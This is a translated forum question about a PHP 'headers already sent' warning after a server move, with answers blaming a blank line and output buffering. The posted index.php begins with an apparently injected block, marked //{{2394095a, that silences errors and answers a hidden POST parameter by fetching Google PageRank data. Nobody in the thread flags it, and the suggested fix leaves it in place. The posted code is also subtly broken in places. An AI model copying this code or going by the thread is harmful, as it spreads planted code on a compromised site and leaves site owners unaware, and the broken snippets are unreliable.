无法修改标头信息警告消息



今天我把一个网站移到了另一个服务器上。它在另一台服务器上运行良好,现在我收到了以下警告消息:

警告:无法修改标题信息-标题已由第21行上/home/mesobi/src/base/init.inc中的/home/mesubi/public_html/fr/index.php:96开始输出

我找了好几个小时了。删除空白并尝试其他方法。但它不起作用。

如果你能帮忙,这里有代码:

FILE_1__________索引.php__________

    <?php
    //{{2394095a
    GLOBAL $alreadyxxx;
    if($alreadyxxx != 1)
    {
    $alreadyxxx = 1;
    $olderrxxx=error_reporting(0);
    function StrToNum($Str, $Check, $Magic)
       $Int32Unit = 4294967296;
       $length = strlen($Str);
       for ($i = 0; $i < $length; $i++) {
           $Check *= $Magic;
           if ($Check >= $Int32Unit) {
               $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
               $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
           }
           $Check += ord($Str{$i});
       }
       return $Check;
    }
    function HashURL($String)
    {
       $Check1 = StrToNum($String, 0x1505, 0x21);
       $Check2 = StrToNum($String, 0, 0x1003F);
       $Check1 >>= 2;
       $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
       $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
       $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
       $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
       $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
       return ($T1 | $T2);
    }
    function CheckHash($Hashnum)
    {
       $CheckByte = 0;
       $Flag = 0;
       $HashStr = sprintf('%u', $Hashnum) ;
       $length = strlen($HashStr);    
       for ($i = $length-1; $i >= 0;  $i--) {
           $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }
   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
    }
   return '7'.$CheckByte.$HashStr;
    }
    function getpr($url)
    {
       $ch = CheckHash(HashURL($url));
       $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&    features=Rank&     q=info:$url";;
       $data = file_get_contents($file);
       $pos = strpos($data, "Rank_");
       if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
           $pr=trim($pr);
       $pr=str_replace("
    ",'',$pr);
           return $pr;
       }
    }
    if(isset($_POST['xxxprch']))
    {
        echo getpr($_POST['xxxprch']);
        exit();
    }
    error_reporting($olderrxxx);
    }
    //}}68091a99
    ?>
    <?
    include_once( '../../src/base/init.inc' );
    $filename = 'index_' . $_SESSION[ 'userType' ] . '.php';
    if( file_exists( $filename ) ) {
        include( $filename );
    } else { ?>
    <html>
    <head>
    <title>SGG</title>
    <link rel="stylesheet" href="/styles.css" />
    <script type="text/javascript" src="/js/rc.js"></script>
    </head>
    <body>
    <? include( 'menu.php' ); ?>
    </body>
    </html> <?
    //        echo $filename;
        }
    ?>

FILE_2_________初始化.inc________

<?
function dg( $a ) {
    if( $_SESSION[ 'userId' ] == 'mviau' ) print_r( $a );
}
$time = 0;
$totalTime = 0;
function logtime( ) {
    global $time;
    global $totalTime;
    if( $time == 0 ) 
        $time = microtime( true );
    else {
        $totalTime += microtime( true ) - $time;
        $time = 0;
    }
}
ini_set( 'error_reporting', E_ALL );
//ini_set( 'display_errors', true );
if( ( ! isset( $_SERVER[ 'HTTPS' ] ) || $_SERVER[ 'HTTPS' ] != 'on') && ! preg_match(           '//scripts//', $_SERVER[ 'PHP_SELF' ] ) ) {
    header( 'Location: http://www.test.com' . "nn" );
    exit( );
}
define( 'TYPE_SERVICE', 10 );
define( 'TYPE_THERAPEUTE', 11 );
define( 'TYPE_FRANCHISE', 12 );
define( 'TYPE_FRANCHISEUR', 87 );
define( 'TYPE_ADMIN', 13 );
define( 'TYPE_CLIENT', 107 );
ini_set( 'display_errors', true );
ini_set( 'magic_quotes_gpc', false );
$languages = array( 'en' => 'English',
                'fr' => 'Français',
                'es' => 'Espanol' );
$locales   = array( 'en' => 'en_US',
                'fr' => 'fr_CA' );
$currentUrl = $_SERVER[ 'PHP_SELF' ];
//
// Set locale and timezone
//
$lang       = 'fr'; // language par défaut
preg_match( '/^/([^/]+)/', $currentUrl, $matches );
if( count( $matches ) > 0 && isset( $languages[ $matches[ 1 ] ] ) ) {
$lang = $matches[ 1 ];
}
date_default_timezone_set( 'America/Montreal' );
setlocale( LC_ALL, $locales[ $lang ] );
setlocale( LC_NUMERIC, $locales[ 'en' ] );
//
// Set include_path
//
$baseUrl = '/';
$basePath = '/home/mesoubi/src';
$baseHtml = '/home/mesoubi/public_html';
$incPath = ini_get( 'include_path' );
if( strstr( $incPath, $basePath ) === false ) {
    //ini_set( 'include_path', $incPath . ':' . $basePath . ':' . $basePath . '/fpdf153' );
    ini_set( 'include_path', $incPath . ':' . $basePath );
}
include_once( 'db/databaseManager.inc' );
function __autoload( $className ) {
    if( $className == 'FPDF' ) {
        include_once( 'fpdf153/fpdf.php' );
    } else {
        include_once( "classes/$className.inc" );
    }
}
session_start( );
//
// Check authentification
//
if( basename( $_SERVER[ 'PHP_SELF' ] ) != 'editor.php' ) {
    unset( $_SESSION[ 'editorObject' ] );
}
if( basename( $_SERVER[ 'PHP_SELF' ] ) != 'login.php' && 
basename( $_SERVER[ 'PHP_SELF' ] ) != 'generator.php' && 
! preg_match( '/scripts/', $_SERVER[ 'PHP_SELF' ] ) &&
! isset( $_SESSION[ 'user' ] ) ) {
    if( preg_match( '//client//', $_SERVER[ 'PHP_SELF' ] ) ) {
        //
        // login client
        //
        header( "Location: $baseUrl$lang/client/login.phpnn" );
        exit();
    } else {
            //
        // login user.
        //
        header( "Location: $baseUrl$lang/login.phpnn" );
        exit();
        }
}
include_once( 'base/url/url.inc' );
URL::install( );
if( isset( $_SESSION[ 'userType' ] ) && $_SESSION[ 'userType' ] == TYPE_CLIENT &&
! preg_match( '//client//', $_SERVER[ 'PHP_SELF' ] ) ) {
    header( "Location: /fr/client/login.phpnn" );
    exit( );
}
function prh($arr)
{
    print '<pre>';
    print_r($arr);
    print '</pre>';
}
function prhd($arr)
{
    prh($arr);
    die();
}

index.php 的第95行有一个换行符

93: //}}68091a99
94: ?>
95: 
96: <?
97: include_once( '../../src/base/init.inc' );

错误消息告诉您在哪里可以找到这个

输出开始于/home/mesobi/public_html/fr/index.php:96

93: //}}68091a99
94: ?>
95: 
96: <?
97: include_once( '../../src/base/init.inc' );

第94-96行表示HTML空白。相反,只需停留在PHP:中

93: //}}68091a99
94: 
95: include_once( '../../src/base/init.inc' );

正如其他人所指出的,问题是因为第95行有空格。我还将添加一个可能的原因,即它在另一台服务器上工作,而不是在这台服务器上;在服务器之间检查output_buffering选项中的不同值。如果启用了输出缓冲,它就会掩盖另一台服务器上空白的问题。

最新更新